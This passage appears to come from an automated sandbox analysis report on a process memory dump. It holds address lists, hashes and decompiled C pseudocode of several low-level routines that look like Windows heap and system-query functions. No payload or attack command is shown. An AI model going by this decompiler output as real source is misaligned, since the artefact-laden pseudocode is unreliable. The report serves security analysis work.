0x056fefd0
0x056ff0a6
0x00000000
0x00000000
0x056ff0af
0x0574bb06
0x0574bb0a
0x056ff0b5
0x056ff0b5
0x056ff0b5
0x056ff0b5
0x00000000
0x056fefd6
0x056fefd9
0x056ff0de
0x056ff0e2
0x056fefdf
0x056fefdf
0x056fefdf
0x056fefe5
0x0574bafc
0x0574bafc
0x056fefe5
0x056fefeb
0x056fefed
0x056ff00f
0x056ff011
0x056ff01a
0x056ff01d
0x056ff021
0x056ff028
0x056ff029
0x056ff029
0x056ff02c
0x00000000
0x056ff02c
0x056feff3
0x056feff9
0x056ff0ea
0x056ff0ed
0x056ff0ef
0x00000000
0x056ff0ef
0x056ff003
0x0574bb12
0x056ff045
0x056ff049
0x056ff051
0x056ff09e
0x056ff0a0
0x056ff0a0
0x056ff09e
0x056ff053
0x056ff064
0x056ff064
0x056ff06b
0x0574bb1a
0x0574bb1a
0x056ff071
0x056ff071
0x056ff07d
0x056ff082
0x056ff08f
0x056ff08f
0x056ff009
0x056ff00d
0x00000000
0x056ff00d
0x056fefd0
0x056fef97
0x056fefa5
0x056fefaa
0x00000000
0x056fefac
0x056fefac
0x056fefac
0x00000000
0x056fefb2
0x056ff036
0x056ff03a
0x056ff040
0x056ff090
0x00000000
0x056ff092
0x056ff042
0x00000000
0x056ff042
0x056fefb7
0x056fefb9
0x056fefbc
0x056fefb0
0x056fefb0
0x00000000
0x056fefbe
0x056fefbe
0x056fefc1
0x00000000
0x056fefc1
0x056fefbc
0x056fefaa
0x056fef91

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 2fe683a8cb34a29127ad0d52e9eee5ed57b530d772d5b16be51babc10885e51a
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: EE51F430E09249EFDB24CF68C0E4BAEFBB2BF45314F1881A8D64597791C376A989C751

Uniqueness

Uniqueness Score: -1.00%

Function 057B740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E057B740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E0573D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E0572F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L05704620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L05704620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E0572F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L05704620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x057b740d
0x057b740d
0x057b7412
0x057b7413
0x057b7416
0x057b7418
0x057b741c
0x057b741f
0x057b7422
0x057b7422
0x057b7428
0x057b742a
0x057b742a
0x057b7451
0x057b7432
0x057b744f
0x057b744f
0x00000000
0x057b7434
0x057b7438
0x057b7443
0x057b7517
0x057b7517
0x057b751a
0x057b7535
0x057b7520
0x057b7527
0x057b752c
0x057b7531
0x057b7533
0x00000000
0x057b7533
0x00000000
0x057b7531
0x057b754b
0x057b754f
0x057b755c
0x057b755c
0x057b755f
0x057b7560
0x057b7561
0x057b7562
0x057b7563
0x057b7568
0x057b756a
0x057b756c
0x057b756d
0x057b756d
0x057b756f
0x057b7572
0x057b7574
0x057b7577
0x057b757c
0x057b757f
0x00000000
0x057b7551
0x057b7551
0x057b7551
0x057b7553
0x057b7553
0x057b7449
0x057b7449
0x057b744c
0x057b744c
0x00000000
0x057b744c
0x057b7443
0x057b750e
0x057b7514
0x057b7514
0x057b7455
0x057b7469
0x057b746d
0x00000000
0x057b7473
0x057b7473
0x057b7476
0x057b7480
0x057b7484
0x057b748e
0x057b7493
0x057b7493
0x057b7496
0x057b7499
0x057b74a1
0x057b74b1
0x057b74b5
0x00000000
0x057b74bb
0x057b74c1
0x057b74c1
0x057b74c4
0x057b74c5
0x057b74c6
0x057b74c7
0x057b74c8
0x057b74cd
0x00000000
0x057b74d3
0x057b74d3
0x057b74d6
0x057b74d8
0x057b74db
0x057b74dd
0x057b74e0
0x057b74e7
0x057b74ee
0x057b74ee
0x057b74f4
0x057b74f9
0x00000000
0x057b74fb
0x057b74fb
0x057b74fd
0x057b7500
0x057b7503
0x057b7505
0x057b7505
0x057b74f9
0x00000000
0x057b74cd
0x057b74b5
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 5a243613ed2650392d264ad52fe6674af91806e3382255890b70ac75a803057c
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: DD519C71600606EFDB19CF15C584B96BBF5FF85305F14C0AAE9089F252E3B1EA46DB90

Uniqueness

Uniqueness Score: -1.00%

Function 05712990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E05712990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x57bff00);
				E0573D08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x56c1664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E0572E5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x56c1668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E057651BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x56c166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E05712AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E056F6600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E05712C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E056FEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E05712AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E05712C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E05712ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E0573D0D1(_t62);
				goto L28;
			}

0x05712990
0x05712992
0x05712997
0x057129a3
0x057129a6
0x057129ab
0x057129ad
0x057129b2
0x05755c80
0x057129b8
0x057129b8
0x057129bb
0x057129c0
0x057129c5
0x057129c6
0x057129c6
0x057129cb
0x00000000
0x00000000
0x057129cd
0x057129d0
0x057129d9
0x057129db
0x057129dd
0x05712a7f
0x05712a84
0x05712a87
0x05712a89
0x05755ca1
0x05755ca3
0x00000000
0x05712a8f
0x05712a8f
0x00000000
0x05712a8f
0x00000000
0x057129e3
0x057129e3
0x057129e3
0x00000000
0x057129e3
0x057129dd
0x00000000
0x057129db
0x057129e6
0x057129e9
0x057129eb
0x057129ed
0x057129f3
0x057129f5
0x057129f8
0x057129fa
0x05712a97
0x05712a9a
0x05712a9d
0x05712add
0x00000000
0x05712a9f
0x05712aa2
0x05712aa5
0x05712aa8
0x05712aab
0x05755cab
0x05755caf
0x05755cc5
0x05755cda
0x05755cdc
0x05755cdf
0x05755ce5
0x00000000
0x05755ceb
0x05755ced
0x05755cee
0x00000000
0x05755cee
0x05755cb1
0x05755cb4
0x05755cb9
0x05755cbb
0x00000000
0x05755cbd
0x05755cbd
0x00000000
0x05755cbd
0x05755cbb
0x05712ab1
0x05712ab1
0x05712ac4
0x05712ac6
0x05712ac6
0x00000000
0x05712ac6
0x05712aab
0x00000000
0x05712a00
0x05712a09
0x05712a0e
0x05712a21
0x05712a24
0x05712a35
0x05712a3a
0x05712a3d
0x05712a42
0x05712a59
0x05712a59
0x05712a5c
0x05712a5f
0x05712a5f
0x057129fa
0x057129f3
0x05712a64
0x05712a64
0x05712a6b
0x05712a6b
0x05712a6d
0x05712a72
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4912a53cb4d0ce7224a504fb88cc4f68360e5deb97457ef75469add4e04808e2
Instruction ID: 038c742ea5ec07f211754d25f7f2bfa9f66bc90c923a13dd0ac367897a695709
Opcode Fuzzy Hash: 4912a53cb4d0ce7224a504fb88cc4f68360e5deb97457ef75469add4e04808e2
Instruction Fuzzy Hash: 93516B75A00209EFCF25DF5AC844AEEBBB6FF08310F048055EC11AB222C3759992EF94

Uniqueness

Uniqueness Score: -1.00%

Function 05714D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E05714D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x57dd360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E0572FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x57d7bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E0572B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L05704620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E056ECCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E0572B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E0572F380(_t67 + 0xc, 0x56c5138, 0x10) == 0) {
								 *0x57d60d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E05714F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E05714E70(0x57d86b0, 0x5715690, 0, 0) != 0) {
					_t46 = E056ECCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x05714d3b
0x05714d4d
0x05714d53
0x05714d58
0x05714d65
0x05714d6c
0x05714d71
0x05714d77
0x05714d7f
0x05714d8c
0x05714d8e
0x05714dad
0x05714db0
0x05714db7
0x05714db8
0x05714db9
0x05714dba
0x05714dbb
0x05714dc1
0x05714dc8
0x05714dcc
0x05714dd5
0x05714dde
0x05714ddf
0x05714de0
0x05714de1
0x05714de6
0x05714de7
0x05714de9
0x05714df3
0x00000000
0x00000000
0x05756c7c
0x05756c8a
0x05756c8a
0x05756c9d
0x05756ca7
0x05756cac
0x05756cb2
0x05756cb9
0x00000000
0x05756cbf
0x05756cbf
0x00000000
0x05756cbf
0x05756cb9
0x05714dfb
0x05756ccf
0x05756cd3
0x05714e32
0x05714e39
0x05756ce0
0x05756cf2
0x05756cf2
0x05756ce0
0x05714e3f
0x05714e41
0x05714e51
0x05714e51
0x05714e03
0x05714e03
0x05714e09
0x05714e0f
0x05714e57
0x00000000
0x00000000
0x05714e1b
0x05714e30
0x05714e5b
0x05714e5b
0x00000000
0x05714e30
0x05714e11
0x05714e11
0x05714e16
0x00000000
0x05714e16
0x05714e01
0x00000000
0x05714e01
0x05714da5
0x05756c6b
0x00000000
0x05714dab
0x05714dab
0x00000000
0x05714dab

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979f9e0609ba0b2aaed73b34199c6c21ba2ad51b716b658b24084bf9d5ee174b
Instruction ID: 9a7a95b130e375f10fc3021653ed510eea90df2978f333bec40f28fb2e14d2be
Opcode Fuzzy Hash: 979f9e0609ba0b2aaed73b34199c6c21ba2ad51b716b658b24084bf9d5ee174b
Instruction Fuzzy Hash: B3417F71B403189EEF21DF18C885F6AB7BBEB45B10F044099ED459B281DBB0ED44EA99

Uniqueness

Uniqueness Score: -1.00%

Function 05714BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E05714BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x57dd360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E056ECC50(_t86);
					L11:
					return E0572B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x57d8504
				E05702280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E0572FA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E0572B0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L05704620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E056ECCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x57d8504
								E056FFFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E05714F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x05714bad
0x05714bbf
0x05714bc2
0x05714bc6
0x05714bcd
0x05714bd9
0x057567fe
0x05756800
0x05714ccc
0x05714ccd
0x05714cb7
0x05714cc9
0x05714cc9
0x05714bdf
0x05714be5
0x00000000
0x00000000
0x05714beb
0x05714bef
0x00000000
0x00000000
0x05714bf5
0x05714bf9
0x05714c06
0x05714c0b
0x05714c17
0x05714c1c
0x05714c1f
0x05714c25
0x05714c33
0x05714c3d
0x05714c40
0x05714c43
0x05714c47
0x05714c4d
0x05714c53
0x05714c54
0x05714c55
0x05714c56
0x05714c5b
0x05714c5c
0x05714c63
0x05714c6b
0x00000000
0x00000000
0x05756776
0x05756784
0x05756784
0x0575679f
0x057567a7
0x057567af
0x057567ce
0x00000000
0x057567b1
0x057567b7
0x057567b8
0x057567c1
0x057567d3
0x057567d9
0x057567dd
0x05714c94
0x05714c94
0x05714c98
0x05714c9c
0x05714ca3
0x057567f4
0x057567f4
0x05714cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x05714cb5
0x05714c79
0x05714c7e
0x05714c89
0x05714c8b
0x05714c8f
0x05714c8f
0x00000000
0x05714c89
0x057567c3
0x00000000
0x057567c3
0x057567af
0x05714c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41cade6d28432e5610bbcb9f8baa8d1c69a5776d86e07c4b80721daadc2f0a99
Instruction ID: c2ff15769fec4dd323caa3bcd4db8f20cff1815858c6d0c7b6becfd786f4dc86
Opcode Fuzzy Hash: 41cade6d28432e5610bbcb9f8baa8d1c69a5776d86e07c4b80721daadc2f0a99
Instruction Fuzzy Hash: E741AE35A002289FCF20DF68C944FEAB7B6FF45750F4104A9ED09AB241DB749E84DB95

Uniqueness

Uniqueness Score: -1.00%

Function 056F8A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E056F8A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x57dd360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E0572B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E056FE9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x56c1180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E05711DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E05723C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E056F8999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x056f8a0a
0x056f8a1c
0x056f8a23
0x056f8a2e
0x056f8a30
0x056f8a36
0x056f8a3c
0x056f8a3e
0x056f8a4a
0x056f8a52
0x056f8a9c
0x056f8aae
0x056f8a58
0x056f8a5e
0x056f8a6a
0x056f8a6f
0x056f8a75
0x056f8a7d
0x056f8a85
0x056f8a86
0x056f8a89
0x056f8a93
0x056f8a99
0x056f8a9b
0x00000000
0x056f8aaf
0x056f8abe
0x056f8ac3
0x056f8acb
0x056f8ad7
0x056f8ae0
0x056f8af1
0x00000000
0x056f8af1
0x056f8acd
0x056f8ad5
0x056f8afb
0x056f8afd
0x056f8aff
0x056f8b07
0x056f8b22
0x056f8b24
0x056f8b2a
0x056f8b2e
0x056f8b3f
0x056f8b78
0x056f8b41
0x056f8b52
0x056f8b54
0x056f8b5c
0x056f8b74
0x056f8b74
0x056f8b5c
0x056f8b3f
0x056f8b5e
0x056f8b61
0x056f8b64
0x056f8b64
0x056f8b6c
0x056f8b6c
0x056f8b11
0x05749cd5
0x05749cd5
0x056f8b17
0x056f8b1a
0x056f8b1a
0x00000000
0x056f8ad5
0x056f8a89

Memory Dump Source

